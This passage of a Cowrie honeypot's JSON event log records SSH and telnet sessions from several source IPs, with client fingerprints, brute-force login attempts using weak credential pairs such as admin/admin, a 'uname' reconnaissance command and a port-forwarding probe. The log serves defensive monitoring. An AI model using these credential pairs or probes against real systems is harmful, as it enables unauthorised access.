0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:43.381732Z","src_ip":"91.92.42.227","session":"747a4e6b5e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:44.370608Z","src_ip":"91.92.42.227","session":"747a4e6b5e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:45.583506Z","src_ip":"91.92.42.227","session":"747a4e6b5e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48540,"dst_ip":"10.17.0.5","dst_port":22,"session":"d961cd2b9a19","protocol":"ssh","message":"New connection: 91.92.42.227:48540 (10.17.0.5:22) [session: d961cd2b9a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:50.018923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:50.134467Z","src_ip":"91.92.42.227","session":"d961cd2b9a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:50.137616Z","src_ip":"91.92.42.227","session":"d961cd2b9a19","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:51.045372Z","src_ip":"91.92.42.227","session":"d961cd2b9a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":53222,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff4920460647","protocol":"ssh","message":"New connection: 103.176.20.57:53222 (159.203.135.109:22) [session: ff4920460647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:51.471545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:51.475546Z","src_ip":"103.176.20.57","session":"ff4920460647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.42434549331665,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:51.549717Z","src_ip":"128.199.8.54","session":"8f85e01ad173","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:51.721940Z","src_ip":"103.176.20.57","session":"ff4920460647","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:51.960759Z","src_ip":"91.92.42.227","session":"d961cd2b9a19","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:51.963501Z","src_ip":"91.92.42.227","session":"d961cd2b9a19","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:52.281598Z","src_ip":"91.92.42.227","session":"d961cd2b9a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:52.286446Z","src_ip":"91.92.42.227","session":"d961cd2b9a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orion1","message":"login attempt [root/orion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:52.463323Z","src_ip":"103.176.20.57","session":"ff4920460647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:53.711106Z","src_ip":"103.176.20.57","session":"ff4920460647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53252,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa7105b40d65","protocol":"ssh","message":"New connection: 91.92.42.227:53252 (10.17.0.5:22) [session: aa7105b40d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:56.771114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:56.917887Z","src_ip":"91.92.42.227","session":"aa7105b40d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:56.921892Z","src_ip":"91.92.42.227","session":"aa7105b40d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35950,"dst_ip":"159.203.135.109","dst_port":23,"session":"1237ac0b8608","protocol":"telnet","message":"New connection: 128.199.8.54:35950 (159.203.135.109:23) [session: 1237ac0b8608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:57.156860Z"}
{"eventid":"cowrie.session.closed","duration":0.004389524459838867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:57.161099Z","src_ip":"128.199.8.54","session":"1237ac0b8608","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:57.915605Z","src_ip":"91.92.42.227","session":"aa7105b40d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:59.521622Z","src_ip":"91.92.42.227","session":"aa7105b40d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":35750,"dst_ip":"10.17.0.5","dst_port":22,"session":"65fcbc5c79af","protocol":"ssh","message":"New connection: 103.248.120.6:35750 (10.17.0.5:22) [session: 65fcbc5c79af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:02.093225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:02.101606Z","src_ip":"103.248.120.6","session":"65fcbc5c79af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:02.326536Z","src_ip":"103.248.120.6","session":"65fcbc5c79af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admini","password":"123456","message":"login attempt [admini/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:03.256749Z","src_ip":"103.248.120.6","session":"65fcbc5c79af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53294,"dst_ip":"10.17.0.5","dst_port":22,"session":"e658e4ccf521","protocol":"ssh","message":"New connection: 91.92.42.227:53294 (10.17.0.5:22) [session: e658e4ccf521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:03.393758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:03.712175Z","src_ip":"91.92.42.227","session":"e658e4ccf521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:03.733869Z","src_ip":"91.92.42.227","session":"e658e4ccf521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:04.482625Z","src_ip":"103.248.120.6","session":"65fcbc5c79af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:04.727118Z","src_ip":"91.92.42.227","session":"e658e4ccf521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:06.052850Z","src_ip":"91.92.42.227","session":"e658e4ccf521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd777d727cb","protocol":"ssh","message":"New connection: 87.251.64.176:54744 (10.17.0.5:22) [session: 6fd777d727cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:08.396319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:08.402564Z","src_ip":"87.251.64.176","session":"6fd777d727cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:08.496417Z","src_ip":"87.251.64.176","session":"6fd777d727cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:08.792529Z","src_ip":"87.251.64.176","session":"6fd777d727cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:08.890009Z","session":"6fd777d727cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:08.985107Z","src_ip":"87.251.64.176","session":"6fd777d727cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:09.092751Z","src_ip":"87.251.64.176","session":"6fd777d727cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f166b0da0a","protocol":"ssh","message":"New connection: 91.92.42.227:54536 (10.17.0.5:22) [session: e4f166b0da0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:09.516643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:09.831011Z","src_ip":"91.92.42.227","session":"e4f166b0da0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:09.835744Z","src_ip":"91.92.42.227","session":"e4f166b0da0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:12.024203Z","src_ip":"91.92.42.227","session":"e4f166b0da0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:13.569862Z","src_ip":"91.92.42.227","session":"e4f166b0da0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47302,"dst_ip":"10.17.0.5","dst_port":22,"session":"981cd2025815","protocol":"ssh","message":"New connection: 91.92.42.227:47302 (10.17.0.5:22) [session: 981cd2025815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:15.898100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:16.496433Z","src_ip":"91.92.42.227","session":"981cd2025815","protocol":"ssh"}
